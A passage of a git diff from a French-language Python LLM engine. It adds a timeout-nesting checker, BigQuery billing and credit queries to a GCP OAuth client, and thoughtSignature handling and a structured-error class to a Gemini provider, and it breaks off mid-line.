b/core/fenetres_execution.py new file mode 100644 index 0000000..1ae5180 --- /dev/null +++ b/core/fenetres_execution.py @@ -0,0 +1,150 @@ +""" +core/fenetres_execution.py — Hiérarchie des fenêtres de temps du moteur (#T277). + +POURQUOI CE MODULE EXISTE +Le moteur empile des `asyncio.wait_for` : la session borne le pipeline, le +Planner borne sa génération, le provider borne son appel HTTP. Ces bornes ont +été posées à des moments différents, sans jamais être confrontées — et trois +fois de suite, une fenêtre INTERNE s'est retrouvée plus longue que la fenêtre +EXTERNE qui la contient. Le mécanisme interne devient alors décoratif : il est +tué de l'extérieur avant d'avoir pu s'exercer. + +Les trois cas mesurés en production : +1. #T267 — approbation humaine de 300 s dans une session de 120 s : aucune + demande n'a JAMAIS pu être approuvée (8 demandes en 24 h, 0 résolution). +2. #T277 — read timeout provider de 120 s dans un Planner borné à 90 s : la + cascade `FallbackProvider` ne pouvait pas basculer sur le modèle suivant, + puisqu'elle était tuée avant la fin de la PREMIÈRE tentative. Mesuré deux + fois le 11/08 : une seule tentative, aucun second modèle, plan vide. +3. Le même Planner (90 s) dans une session de fond bornée à 120 s : il ne + restait que 30 s pour le DAG, la revue et la finalisation. + +LA RÈGLE, une seule : + toute fenêtre englobante doit être STRICTEMENT plus longue que la somme des + fenêtres qu'elle englobe. + +`verifier_emboitement()` la rend vérifiable, et un test la fait respecter — de +sorte qu'un futur ajustement de l'une des valeurs ne puisse plus casser +silencieusement les autres. +""" + +import logging +import os + +from core.llm_timeouts import get_timeout + +logger = logging.getLogger(__name__) + +# Marge pour les backoffs de la cascade entre deux tentatives (voir +# `FallbackProvider.generate_structured_async` : 0,5 à 1 s + journalisation). +MARGE_BASCULE_S = 20.0 + +# Nombre de modèles que la cascade doit pouvoir réellement essayer avant que la +# fenêtre du Planner ne se referme. À 1, il n'y a pas de cascade du tout — c'est +# l'état constaté avant #T277. +TENTATIVES_CASCADE = 2 + + +def duree_tentative_llm_s(famille: str = "gemini") -> float: + """Durée maximale d'UN appel LLM, telle que les providers l'appliquent.""" + valeur = get_timeout(famille) + # `get_timeout` rend soit (connect, read), soit une durée unique (CLI). + return float(valeur[1] if isinstance(valeur, tuple) else valeur) + + +def duree_planner_s() -> float: + """ + Fenêtre du Planner : assez large pour que la cascade puisse BASCULER. + + Sans cela, le premier modèle lent consomme toute la fenêtre et les suivants + ne sont jamais essayés — la cascade réparée par #T265 reste alors décorative + sur les timeouts (elle ne fonctionne que sur les erreurs immédiates type 403). + + Surchargeable par `MOTEUR_PLANNER_TIMEOUT_S` (une valeur trop basse est + refusée : elle reproduirait le bug). + """ + minimum = duree_tentative_llm_s() * TENTATIVES_CASCADE + MARGE_BASCULE_S + brut = os.environ.get("MOTEUR_PLANNER_TIMEOUT_S") + if brut: + try: + demande = float(brut) + except ValueError: + logger.warning(f"[FENETRES] MOTEUR_PLANNER_TIMEOUT_S illisible ({brut!r}) — valeur calculée retenue.") + return minimum + if demande < duree_tentative_llm_s(): + logger.warning( + f"[FENETRES] MOTEUR_PLANNER_TIMEOUT_S={demande}s est inférieur à la durée d'UNE " + f"tentative LLM ({duree_tentative_llm_s()}s) : refusé, sinon la cascade ne peut " + f"pas basculer (#T277). Valeur retenue : {minimum}s." + ) + return minimum + return demande + return minimum + + +def duree_session_fond_s() -> float: + """ + Fenêtre d'une session de fond (`/api/run`, fire-and-forget). + + Personne n'attend derrière une requête HTTP : la borne n'est là que pour + éviter une session immortelle. Elle doit contenir le Planner ET l'exécution + du DAG. À 120 s (l'ancien défaut, hérité du chemin interactif), il restait + 30 s pour tout le reste une fois le Planner servi. + """ + brut = os.environ.get("MOTEUR_SESSION_FOND_TIMEOUT_S") + if brut: + try: + return float(brut) + except ValueError: + logger.warning(f"[FENETRES] MOTEUR_SESSION_FOND_TIMEOUT_S illisible ({brut!r}) — défaut retenu.") + return 900.0 + + +def duree_session_interactive_s() -> float: + """ + Fenêtre d'une session interactive (chat, vocal) : un humain attend. + + Volontairement INCHANGÉE à 120 s. ⚠️ Elle est plus courte que ce qu'une + cascade complète exige — c'est un arbitrage produit assumé (mieux vaut + répondre « je n'ai pas pu » que faire patienter deux minutes de plus), pas + un oubli. Conséquence à connaître : sur ce chemin, la cascade ne peut pas + basculer si le premier modèle est lent. Le lever suppose de raccourcir le + read timeout des providers pour ce chemin — décision non prise ici. + """ + return 120.0 + + +def verifier_emboitement() -> list[str]: + """ + Vérifie la règle : englobante > somme des englobées. + + Returns: + La liste des violations (vide si tout est cohérent). Ne lève pas : le + moteur doit démarrer même mal configuré, mais le dire. + """ + violations: list[str] = [] + tentative = duree_tentative_llm_s() + planner = duree_planner_s() + session_fond = duree_session_fond_s() + + if planner <= tentative: + violations.append( + f"Planner ({planner}s) <= une tentative LLM ({tentative}s) : " + f"la cascade ne peut pas basculer (#T277)." + ) + if session_fond <= planner: + violations.append( + f"Session de fond ({session_fond}s) <= Planner ({planner}s) : " + f"il ne resterait rien pour exécuter le DAG." + ) + return violations + + +def journaliser_fenetres() -> None: + """Trace la hiérarchie au démarrage, et signale toute incohérence.""" + logger.info( + f"[FENETRES] tentative LLM {duree_tentative_llm_s()}s < Planner {duree_planner_s()}s " + f"< session de fond {duree_session_fond_s()}s (interactive : {duree_session_interactive_s()}s)" + ) + for violation in verifier_emboitement(): + logger.error(f"[FENETRES] ⚠️ {violation}") diff --git a/core/gcp_oauth_client.py b/core/gcp_oauth_client.py index a68eb4e..cb4e639 100644 --- a/core/gcp_oauth_client.py +++ b/core/gcp_oauth_client.py @@ -8,12 +8,14 @@ Routes intégrées dans gui_server.py via get_gcp_billing_info(). """ +import logging import os -import json import time -import logging +from datetime import UTC +from typing import Any + import requests -from typing import Optional, Dict, Any + from core.validation import is_valid_gsheet_id # [P0-1.6] validation spreadsheet_id logger = logging.getLogger("core.gcp_oauth") @@ -28,24 +30,24 @@ class GCPOAuthClient: Gère automatiquement le renouvellement de l'access_token via le refresh_token permanent. Aucune interaction utilisateur nécessaire. """ - + def __init__(self, token_file: str = TOKEN_FILE): self._token_file = token_file - self._access_token: Optional[str] = None + self._access_token: str | None = None self._token_expiry: float = 0 # timestamp d'expiration - self._client_id: Optional[str] = None - self._client_secret: Optional[str] = None - self._refresh_token: Optional[str] = None + self._client_id: str | None = None + self._client_secret: str | None = None + self._refresh_token: str | None = None self._available = False - + self._load_credentials() - + def _load_credentials(self): """Charge les credentials depuis google_token.json.""" if not os.path.exists(self._token_file): logger.warning(f"[GCP OAuth] Fichier token introuvable : {self._token_file}") return - + try: from core.token_crypto import load_token_json data = load_token_json(self._token_file) @@ -54,7 +56,7 @@ def _load_credentials(self): self._client_id = data.get("client_id") self._client_secret = data.get("client_secret") self._access_token = data.get("token") - + # Estimer l'expiration (les access tokens durent ~1h) expiry = data.get("expiry") if expiry: @@ -64,7 +66,7 @@ def _load_credentials(self): self._token_expiry = dt.timestamp() except Exception: self._token_expiry = 0 - + if self._refresh_token and self._client_id: self._available = True logger.info("[GCP OAuth] ✅ Credentials chargées avec succès") @@ -72,17 +74,17 @@ def _load_credentials(self): logger.warning("[GCP OAuth] ❌ Credentials incomplètes (refresh_token ou client_id manquant)") except Exception as e: logger.error(f"[GCP OAuth] Erreur de chargement : {e}") - + @property def available(self) -> bool: """Indique si le client OAuth est configuré et prêt.""" return self._available - + def _refresh_access_token(self) -> bool: """Renouvelle l'access_token via le refresh_token (appel Google).""" if not self._refresh_token: return False - + try: resp = requests.post( "https://oauth2.googleapis.com/token", @@ -94,7 +96,7 @@ def _refresh_access_token(self) -> bool: }, timeout=10, ) - + if resp.status_code == 200: data = resp.json() self._access_token = data["access_token"] @@ -108,16 +110,16 @@ def _refresh_access_token(self) -> bool: except Exception as e: logger.error(f"[GCP OAuth] Erreur réseau lors du refresh : {e}") return False - - def _get_headers(self) -> Dict[str, str]: + + def _get_headers(self) -> dict[str, str]: """Retourne les headers HTTP avec un access_token valide.""" # Renouveler si expiré ou proche de l'expiration if time.time() >= self._token_expiry: self._refresh_access_token() - + return {"Authorization": f"Bearer {self._access_token}"} - - def _get(self, url: str) -> Optional[Dict]: + + def _get(self, url: str) -> dict | None: """Requête GET authentifiée vers une API GCP.""" try: resp = requests.get(url, headers=self._get_headers(), timeout=15) @@ -129,19 +131,149 @@ def _get(self, url: str) -> Optional[Dict]: except Exception as e: logger.error(f"[GCP OAuth] Erreur GET {url} : {e}") return None - + # ─── APIs de haut niveau ──────────────────────────────────── - + def get_billing_accounts(self) -> list: """Récupère la liste des comptes de facturation accessibles.""" data = self._get("https://cloudbilling.googleapis.com/v1/billingAccounts") return data.get("billingAccounts", []) if data else [] - + def get_billing_projects(self, billing_account_name: str) -> list: """Récupère les projets liés à un compte de facturation.""" data = self._get(f"https://cloudbilling.googleapis.com/v1/{billing_account_name}/projects") return data.get("projectBillingInfo", []) if data else [] - + + def _find_billing_export_table(self, project_id: str) -> tuple[str, str] | None: + """Découvre le dataset/table d'export de facturation BigQuery (format FOCUS) + sur `project_id` par préfixe de nom (dérivé du billing account ID, donc + unique par compte) — pas de nom codé en dur. None si l'export n'existe pas + sur ce projet (pas tous les projets liés à un compte l'ont).""" + datasets = self._get(f"https://bigquery.googleapis.com/bigquery/v2/projects/{project_id}/datasets") + if not datasets: + return None + export_dataset = next( + (ds["datasetReference"]["datasetId"] for ds in datasets.get("datasets", []) + if ds["datasetReference"]["datasetId"].startswith("gcp_billing")), + None, + ) + if not export_dataset: + return None + + tables = self._get( + f"https://bigquery.googleapis.com/bigquery/v2/projects/{project_id}/datasets/{export_dataset}/tables" + ) + if not tables: + return None + export_table = next( + (t["tableReference"]["tableId"] for t in tables.get("tables", []) + if "billing_export" in t["tableReference"]["tableId"]), + None, + ) + return (export_dataset, export_table) if export_table else None + + def _query_bigquery(self, project_id: str, sql: str) -> list | None: + """Exécute une requête BigQuery et renvoie les lignes brutes (format `rows` de l'API), ou None si échec.""" + try: + resp = requests.post( + f"https://bigquery.googleapis.com/bigquery/v2/projects/{project_id}/queries", + headers=self._get_headers(), json={"query": sql, "useLegacySql": False}, timeout=30, + ) + if resp.status_code != 200: + logger.warning(f"[GCP OAuth] Requête BigQuery échouée : {resp.status_code} {resp.text[:200]}") + return None + return resp.json().get("rows", []) + except Exception as e: + logger.error(f"[GCP OAuth] Erreur requête BigQuery : {e}") + return None + + def get_bigquery_month_cost_eur(self, project_id: str = "ha-delta") -> float | None: + """ + Coût GCP réel du mois calendaire courant, via l'export de facturation + BigQuery (format FOCUS) déjà configuré sur `project_id` (vérifié le + 07/07/2026). Devise vérifiée = EUR (`BillingCurrency` du compte), + PAS USD — ne pas convertir sans taux de change explicite. None si + l'export n'est pas configuré sur ce projet. + """ + found = self._find_billing_export_table(project_id) + if not found: + return None + export_dataset, export_table = found + + rows = self._query_bigquery( + project_id, + f"SELECT SUM(BilledCost) as total_cost " + f"FROM `{project_id}.{export_dataset}.{export_table}` " + f"WHERE DATE(ChargePeriodStart) >= DATE_TRUNC(CURRENT_DATE(), MONTH)", + ) + if rows is None: + return None + return float(rows[0]["f"][0]["v"]) if rows and rows[0]["f"][0]["v"] is not None else 0.0 + + # Crédits promotionnels GCP relevés manuellement dans la console (Facturation > + # Coupons, le 07/07/2026 — Google n'expose PAS cette vue via API, seulement les + # lignes de consommation par crédit dans l'export BigQuery). "remaining" est + # recalculé en direct (original - consommé), sauf si expiré (remaining = 0). + # À remettre à jour manuellement si de nouveaux crédits sont accordés. + _GCP_CREDIT_GRANTS = [ + { + "name": "Trial credit for GenAI App Builder", + "id": "3811c3b7864be189b32bf332781ec3917b0b2d1160ddbdfb24304e09bbfb00e0", + "original_eur": 859.06, "end_date": "2027-06-18", + }, + { + "name": "Dialogflow CX Trial", + "id": "dialogflow_cx_credit_v2-01E3A1-4582CE-89B787", + "original_eur": 515.44, "end_date": "2027-06-21", + }, + { + "name": "Google Developer Program premium benefit", + "id": "c3e8f64e-848e-4a5d-b86d-75ac42c493aa-CREDIT_TYPE_MONTHLY-324bc8cd-9e31-498b-820f-b74103f3e538", + "original_eur": 34.37, "end_date": "2027-06-17", + }, + { + "name": "GCP Free Credit", + "id": "Starter:Credit-01E3A1-4582CE-89B787", + "original_eur": 260.15, "end_date": "2026-07-05", + }, + ] + + def get_credit_grants_status(self, project_id: str = "ha-delta") -> list[dict] | None: + """Solde restant par crédit promotionnel GCP (cf. _GCP_CREDIT_GRANTS), + recalculé en direct depuis la conso réelle dans l'export BigQuery. + None si l'export n'est pas configuré sur ce projet.""" + from datetime import date + + found = self._find_billing_export_table(project_id) + if not found: + return None + export_dataset, export_table = found + + ids_sql = ", ".join(f"'{g['id']}'" for g in self._GCP_CREDIT_GRANTS) + rows = self._query_bigquery( + project_id, + f"SELECT c.Id, SUM(c.Amount) as consumed " + f"FROM `{project_id}.{export_dataset}.{export_table}`, UNNEST(x_Credits) as c " + f"WHERE c.Id IN ({ids_sql}) GROUP BY c.Id", + ) + consumed_by_id = {r["f"][0]["v"]: abs(float(r["f"][1]["v"])) for r in (rows or [])} + + today = date.today() + results = [] + for g in self._GCP_CREDIT_GRANTS: + consumed = consumed_by_id.get(g["id"], 0.0) + expired = today > date.fromisoformat(g["end_date"]) + remaining = 0.0 if expired else max(0.0, g["original_eur"] - consumed) + results.append({ + "name": g["name"], + "original_eur": g["original_eur"], + "consumed_eur": round(consumed, 2), + "remaining_eur": round(remaining, 2), + "expired": expired, + "end_date": g["end_date"], + }) + return results + def get_enabled_services(self, project_id: str) -> list: """Liste les APIs activées sur un projet GCP.""" data = self._get( @@ -150,14 +282,14 @@ def get_enabled_services(self, project_id: str) -> list: if data: return [s["config"]["name"] for s in data.get("services", [])] return [] - + def get_projects(self) -> list: """Liste tous les projets GCP accessibles.""" data = self._get("https://cloudresourcemanager.googleapis.com/v1/projects") return data.get("projects", []) if data else [] - + # ─── APIs Workspace ───────────────────────────────────────── - + def get_calendars(self) -> list: """Liste les calendriers Google accessibles.""" data = self._get("https://www.googleapis.com/calendar/v3/users/me/calendarList") @@ -173,7 +305,7 @@ def get_calendars(self) -> list: } for c in data.get("items", []) ] - + def get_calendar_events(self, calendar_id: str = "primary", max_results: int = 10) -> list: """Récupère les prochains événements d'un calendrier. @@ -181,9 +313,9 @@ def get_calendar_events(self, calendar_id: str = "primary", max_results: int = 1 calendar_id: ID du calendrier (défaut: "primary" = calendrier principal) max_results: Nombre max d'événements à retourner """ - from datetime import datetime, timezone + from datetime import datetime # L'API Calendar v3 attend le format RFC 3339 avec 'Z' (pas '+00:00') - now = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") + now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%SZ") # URL-encode l'URL pour éviter les problèmes avec les caractères spéciaux from urllib.parse import quote url = ( @@ -203,7 +335,7 @@ def get_calendar_events(self, calendar_id: str = "primary", max_results: int = 1 } for e in data.get("items", []) ] - + def get_drive_files(self, max_results: int = 20) -> list: """Liste les fichiers Google Drive récents.""" data = self._get( @@ -223,9 +355,9 @@ def get_drive_files(self, max_results: int = 20) -> list: } for f in data.get("files", []) ] - + # ─── APIs Gmail ────────────────────────────────────────────────── - + def get_gmail_messages(self, max_results: int = 10, label: str = "INBOX") -> list: """Récupère les derniers emails (sujet, expéditeur, date). @@ -237,7 +369,7 @@ def get_gmail_messages(self, max_results: int = 10, label: str = "INBOX") -> lis ) if not data: return [] - + messages = [] for msg_ref in data.get("messages", [])[:max_results]: msg_data = self._get( @@ -254,7 +386,7 @@ def get_gmail_messages(self, max_results: int = 10, label: str = "INBOX") -> lis "snippet": msg_data.get("snippet", ""), }) return messages - + def search_gmail(self, query: str, max_results: int = 10) -> list: """Recherche dans Gmail (même syntaxe que la barre de recherche Gmail). @@ -270,7 +402,7 @@ def search_gmail(self, query: str, max_results: int = 10) -> list: ) if not data: return [] - + messages = [] for msg_ref in data.get("messages", [])[:max_results]: msg_data = self._get( @@ -287,9 +419,9 @@ def search_gmail(self, query: str, max_results: int = 10) -> list: "snippet": msg_data.get("snippet", ""), }) return messages - + # ─── APIs Google Sheets ────────────────────────────────────────── - + def get_sheets_data(self, spreadsheet_id: str, range_notation: str = "Sheet1") -> dict: """Lit les données d'un Google Spreadsheet. @@ -311,7 +443,7 @@ def get_sheets_data(self, spreadsheet_id: str, range_notation: str = "Sheet1") - "values": data.get("values", []), "rows": len(data.get("values", [])), } - + def write_sheets_data(self, spreadsheet_id: str, range_notation: str, values: list) -> dict: """Écrit des données dans un Google Spreadsheet. @@ -347,9 +479,9 @@ def write_sheets_data(self, spreadsheet_id: str, range_notation: str, return {"error": f"HTTP {resp.status_code}"} except Exception as e: return {"error": str(e)} - + # ─── APIs Google Tasks ─────────────────────────────────────────── - + def get_task_lists(self) -> list: """Liste les listes de tâches Google Tasks.""" data = self._get("https://tasks.googleapis.com/tasks/v1/users/@me/lists") @@ -359,7 +491,7 @@ def get_task_lists(self) -> list: {"id": tl.get("id", ""), "title": tl.get("title", ""), "updated": tl.get("updated", "")} for tl in data.get("items", []) ] - + def get_tasks(self, task_list_id: str = "@default", max_results: int = 20) -> list: """Récupère les tâches d'une liste.""" data = self._get( @@ -379,9 +511,9 @@ def get_tasks(self, task_list_id: str = "@default", max_results: int = 20) -> li } for t in data.get("items", []) ] - + # ─── APIs YouTube ──────────────────────────────────────────────── - + def search_youtube(self, query: str, max_results: int = 5) -> list: """Recherche des vidéos YouTube.""" from urllib.parse import quote @@ -402,9 +534,9 @@ def search_youtube(self, query: str, max_results: int = 5) -> list: } for item in data.get("items", []) ] - + # ─── APIs Contacts ─────────────────────────────────────────────── - + def get_contacts(self, max_results: int = 20) -> list: """Liste les contacts Google (People API).""" data = self._get( @@ -424,10 +556,10 @@ def get_contacts(self, max_results: int = 20) -> list: "phone": phones[0].get("value", "") if phones else "", }) return contacts - + # ─── Agrégation ────────────────────────────────────────────────── - - def get_full_billing_info(self) -> Dict[str, Any]: + + def get_full_billing_info(self) -> dict[str, Any]: """Récupère un résumé complet de l'état GCP + Workspace. Retourne un dict prêt pour l'API /api/gcp-billing avec : @@ -446,11 +578,11 @@ def get_full_billing_info(self) -> Dict[str, Any]: "drive": {"files": []}, "timestamp": time.time(), } - + if not self._available: result["error"] = "OAuth2 non configuré. Exécutez setup_google_oauth.py" return result - + # 1. Comptes de facturation accounts = self.get_billing_accounts() for acc in accounts: @@ -468,7 +600,7 @@ def get_full_billing_info(self) -> Dict[str, Any]: "billing_enabled": p.get("billingEnabled", False), }) result["billing_accounts"].append(account_info) - + # 2. Projets accessibles for p in self.get_projects(): result["projects"].append({ @@ -477,7 +609,7 @@ def get_full_billing_info(self) -> Dict[str, Any]: "number": p.get("projectNumber", ""), "state": p.get("lifecycleState", ""), }) - + # 3. APIs IA sur les projets principaux keywords_ia = ["ai", "generat", "vertex", "language", "vision", "speech"] for proj in result["projects"]: @@ -489,25 +621,25 @@ def get_full_billing_info(self) -> Dict[str, Any]: "total": len(all_services), "ia_services": ia_services, } - + # 4. Calendriers et événements (scope calendar.readonly) try: result["calendar"]["calendars"] = self.get_calendars() result["calendar"]["upcoming_events"] = self.get_calendar_events("primary", 5) except Exception as e: logger.warning(f"[GCP OAuth] Calendar non accessible : {e}") - + # 5. Fichiers Drive récents (scope drive.readonly) try: result["drive"]["files"] = self.get_drive_files(10) except Exception as e: logger.warning(f"[GCP OAuth] Drive non accessible : {e}") - + return result # Singleton global — instancié au premier import -_client: Optional[GCPOAuthClient] = None +_client: GCPOAuthClient | None = None def get_gcp_client() -> GCPOAuthClient: """Retourne le singleton du client GCP OAuth2.""" diff --git a/core/gemini_native.py b/core/gemini_native.py index a207c40..4450ed5 100644 --- a/core/gemini_native.py +++ b/core/gemini_native.py @@ -12,17 +12,54 @@ Date : 2026-05-26 """ -import os import json -import time import logging +import os +import time +from typing import Any + import requests -from typing import Dict, Any, Optional from core.llm_timeouts import get_timeout logger = logging.getLogger(__name__) +# ────────────────────────────────────────────────────────────────── +# Signature d'appel d'outil (thoughtSignature) — round-trip #T263 +# ────────────────────────────────────────────────────────────────── +# L'API REST Gemini renvoie la signature au NIVEAU de la part functionCall +# (sœur de "functionCall", jamais dans "functionCall" lui-même) : +# {"functionCall": {"name", "args", "id"}, "thoughtSignature": "..."} +# Casse observée en conditions réelles le 10/08/2026 : camelCase +# "thoughtSignature" dans le JSON, alors que le message d'erreur de l'API +# parle de "thought_signature". L'API répond 400 si la signature n'est pas +# ré-émise à l'identique au tour suivant (round-trip d'outil). +THOUGHT_SIGNATURE_API_FIELD = "thoughtSignature" + +# Clé PRIVÉE interne portée par nos tool_calls (format OpenAI) pour faire +# voyager la signature entre les tours. Préfixée "_" : c'est la convention +# des champs internes du moteur, filtrés par OpenAICompatibleProvider avant +# envoi — elle ne part donc JAMAIS dans le payload des providers +# OpenAI-compatibles (Mistral, DeepSeek, Cerebras...), qui peuvent rejeter +# un champ inconnu. Seul gemini_native la produit et la consomme. +THOUGHT_SIGNATURE_INTERNAL_KEY = "_thought_signature" + + +class GeminiStructuredError(RuntimeError): + """Réponse structurée Gemini inexploitable — #T265. + + Levée là où le code renvoyait un dict vide (JSON invalide, aucun candidat, + parts vides). Un `{}` est une VALEUR DE RETOUR : `FallbackProvider` en + conclut que le modèle a réussi, enregistre un succès au circuit breaker + (le modèle reste « sain » et sera re-choisi) et **ne bascule pas** sur le + modèle suivant. Mesuré en prod le 10/08/2026 : un 403 sur + `gemini-3.5-flash-free` a tué un plan complet en 2 ms alors que 6 clés + Gemini et toute la cascade attendaient derrière. + + Seule une exception fait travailler la cascade et le circuit breaker. + """ + + # Import de la classe de base LLMProvider try: from core.llm_gateway import LLMProvider @@ -33,7 +70,7 @@ class LLMProvider(ABC): @abstractmethod def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: pass @abstractmethod - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: pass + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: pass # ────────────────────────────────────────────────────────────────── @@ -58,24 +95,24 @@ def __init__(self, api_key: str, model: str): self.api_key = api_key self.model = model self.base_url = "https://generativelanguage.googleapis.com/v1beta" - + # État du cache actif - self._active_cache_name: Optional[str] = None - self._cache_expire_time: Optional[float] = None # timestamp UNIX - self._cache_content_hash: Optional[str] = None # hash du contenu caché - + self._active_cache_name: str | None = None + self._cache_expire_time: float | None = None # timestamp UNIX + self._cache_content_hash: str | None = None # hash du contenu caché + # Marge de renouvellement : renouveler 5 min avant l'expiration self._refresh_margin_seconds = 300 - + def _headers(self) -> dict: """Headers standard pour les appels API.""" return {"Content-Type": "application/json"} - + def _url(self, path: str) -> str: """Construit l'URL complète avec la clé API.""" return f"{self.base_url}/{path}?key={self.api_key}" - def create(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: + def create(self, system_content: str, ttl_seconds: int = 3600) -> str | None: """ Crée un cache explicite avec le contenu système fourni. @@ -88,19 +125,19 @@ def create(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: """ import hashlib content_hash = hashlib.md5(system_content.encode()).hexdigest() - + # Si le même contenu est déjà caché et encore valide, ne rien faire - if (self._active_cache_name - and self._cache_content_hash == content_hash - and self._cache_expire_time + if (self._active_cache_name + and self._cache_content_hash == content_hash + and self._cache_expire_time and time.time() < self._cache_expire_time - self._refresh_margin_seconds): logger.debug(f"[GEMINI CACHE] Cache actif encore valide : {self._active_cache_name}") return self._active_cache_name - + # Supprimer l'ancien cache s'il existe if self._active_cache_name: self.delete() - + payload = { "model": f"models/{self.model}", "systemInstruction": { @@ -118,7 +155,7 @@ def create(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: ], "ttl": f"{ttl_seconds}s" } - + try: resp = requests.post( self._url("cachedContents"), @@ -128,17 +165,17 @@ def create(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: ) resp.raise_for_status() data = resp.json() - + cache_name = data.get("name") if cache_name: self._active_cache_name = cache_name self._cache_expire_time = time.time() + ttl_seconds self._cache_content_hash = content_hash - + # Extraire les infos de tokens du cache usage_metadata = data.get("usageMetadata", {}) total_tokens = usage_metadata.get("totalTokenCount", 0) - + logger.info( f"[GEMINI CACHE] ✅ Cache créé : {cache_name} | " f"{total_tokens} tokens | TTL={ttl_seconds}s | " @@ -148,7 +185,7 @@ def create(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: else: logger.warning(f"[GEMINI CACHE] Réponse sans nom de cache : {data}") return None - + except requests.exceptions.HTTPError as e: status = e.response.status_code if e.response else "?" body = e.response.text[:500] if e.response else "" @@ -161,7 +198,7 @@ def create(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: logger.warning(f"[GEMINI CACHE] ❌ Erreur de création du cache : {e}") return None - def get_active_cache_name(self) -> Optional[str]: + def get_active_cache_name(self) -> str | None: """Retourne le nom du cache actif s'il est encore valide, None sinon.""" if not self._active_cache_name: return None @@ -173,22 +210,22 @@ def get_active_cache_name(self) -> Optional[str]: return None return self._active_cache_name - def refresh_if_needed(self, system_content: str, ttl_seconds: int = 3600) -> Optional[str]: + def refresh_if_needed(self, system_content: str, ttl_seconds: int = 3600) -> str | None: """Renouvelle le cache si proche de l'expiration ou si le contenu a changé.""" import hashlib content_hash = hashlib.md5(system_content.encode()).hexdigest() - + # Si le contenu a changé, recréer le cache if self._cache_content_hash != content_hash: logger.info("[GEMINI CACHE] Contenu modifié, recréation du cache.") return self.create(system_content, ttl_seconds) - + # Si le cache est proche de l'expiration, recréer - if (self._cache_expire_time + if (self._cache_expire_time and time.time() >= self._cache_expire_time - self._refresh_margin_seconds): logger.info("[GEMINI CACHE] Cache proche de l'expiration, renouvellement.") return self.create(system_content, ttl_seconds) - + return self.get_active_cache_name() def delete(self): @@ -245,7 +282,7 @@ class GeminiNativeProvider(LLMProvider): L'interface LLMProvider est respectée : generate(), generate_structured(), generate_stream() — le reste du moteur ne voit aucune différence. """ - + def __init__(self, api_key: str, model: str = "gemini-3.5-flash", search_grounding_available: bool = False, enable_explicit_cache: bool = True, @@ -275,11 +312,11 @@ def __init__(self, api_key: str, model: str = "gemini-3.5-flash", "gemini-3.1-pro-preview-customtools": "gemini-3.1-pro-preview-customtools", "gemini-3-pro-preview": "gemini-3-pro-preview", "gemini-3.1-flash": "gemini-3.5-flash", # Fallback logique - + # Versions intermédiaires (2.5) — Accès Direct "gemini-2.5-flash": "gemini-2.5-flash", "gemini-2.5-pro": "gemini-2.5-pro", - + # Redirections de secours pour modèles bloqués ou obsolètes (2.0 / 1.5) "gemini-2.0-flash": "gemini-3.5-flash", # Rediriger le 2.0 bloqué vers le 3.5 Flash ouvert ! "gemini-2.0-flash-lite-001": "gemini-3.1-flash-lite", @@ -291,7 +328,7 @@ def __init__(self, api_key: str, model: str = "gemini-3.5-flash", self.enable_explicit_cache = enable_explicit_cache self.cache_ttl_seconds = cache_ttl_seconds self.use_key_pool = use_key_pool - + # Pool de clés pour la rotation automatique Free Tier self._key_pool = None if use_key_pool: @@ -300,29 +337,29 @@ def __init__(self, api_key: str, model: str = "gemini-3.5-flash", self._key_pool = get_key_pool() except Exception: pass - + self.base_url = "https://generativelanguage.googleapis.com/v1beta" - + # Gestionnaire de cache explicite self._cache_manager = GeminiCacheManager(api_key, model) if enable_explicit_cache else None - + # Seuil minimum de tokens pour le caching explicite # Gemini 3.x : 4096 tokens (~16K chars en FR) # Gemini 2.x : 2048 tokens (~8K chars en FR) self._min_cache_chars = 16000 if "3." in model or "3-" in model else 8000 - + def _get_active_key(self) -> str: """Retourne la clé API active (pool ou fixe).""" if self._key_pool: key = self._key_pool.get_free_key() return key if key else self.api_key return self.api_key - + def _api_url(self, method: str = "generateContent", key: str = None) -> str: """Construit l'URL d'appel API avec la clé.""" active_key = key or self._get_active_key() return f"{self.base_url}/models/{self.model}:{method}?key={active_key}" - + def _build_contents(self, user_prompt: str, **kwargs) -> list: """ Construit la liste des messages au format natif Gemini. @@ -339,12 +376,12 @@ def _build_contents(self, user_prompt: str, **kwargs) -> list: content = msg.get("content", "") if role == "system": continue # Les system messages sont gérés via systemInstruction - + # Éviter les contenus vides (causes d'erreur 400 de l'API Google) if content is None: content = "" content_str = str(content).strip() - + if role == "assistant": parts = [] if content_str: @@ -356,12 +393,20 @@ def _build_contents(self, user_prompt: str, **kwargs) -> list: args = json.loads(fn.get("arguments", "{}")) except Exception: args = {} - parts.append({ + part = { "functionCall": { "name": fn.get("name", ""), "args": args } - }) + } + # Ré-émission de la thought_signature à l'identique : + # elle est requise au niveau de la part functionCall, + # sinon l'API répond 400 (cf. #T263). Absente sur les + # modèles anciens → simplement ignorée, aucun crash. + signature = tc.get(THOUGHT_SIGNATURE_INTERNAL_KEY) + if signature: + part[THOUGHT_SIGNATURE_API_FIELD] = signature + parts.append(part) if not parts: parts.append({"text": "[Message vide]"}) contents.append({ @@ -405,15 +450,15 @@ def _build_contents(self, user_prompt: str, **kwargs) -> list: "parts": [{"text": content_str}] }) return contents - + return [{"role": "user", "parts": [{"text": user_prompt}]}] - - def _build_system_instruction(self, system_prompt: str) -> Optional[dict]: + + def _build_system_instruction(self, system_prompt: str) -> dict | None: """Construit l'objet systemInstruction natif pour le caching implicite.""" if not system_prompt or not system_prompt.strip(): return None return {"parts": [{"text": system_prompt}]} - + def _extract_system_from_messages(self, kwargs: dict) -> str: """Extrait le system prompt des messages OpenAI-style si présent.""" messages = kwargs.get("messages", []) @@ -421,7 +466,7 @@ def _extract_system_from_messages(self, kwargs: dict) -> str: if msg.get("role") == "system": return msg.get("content", "") return "" - + def _convert_schema_to_gemini(self, schema: Any) -> Any: """Convertit récursivement les types d'un schéma OpenAPI/OpenAI en majuscules pour Gemini et exclut les clés non supportées comme $schema ou $id.""" if 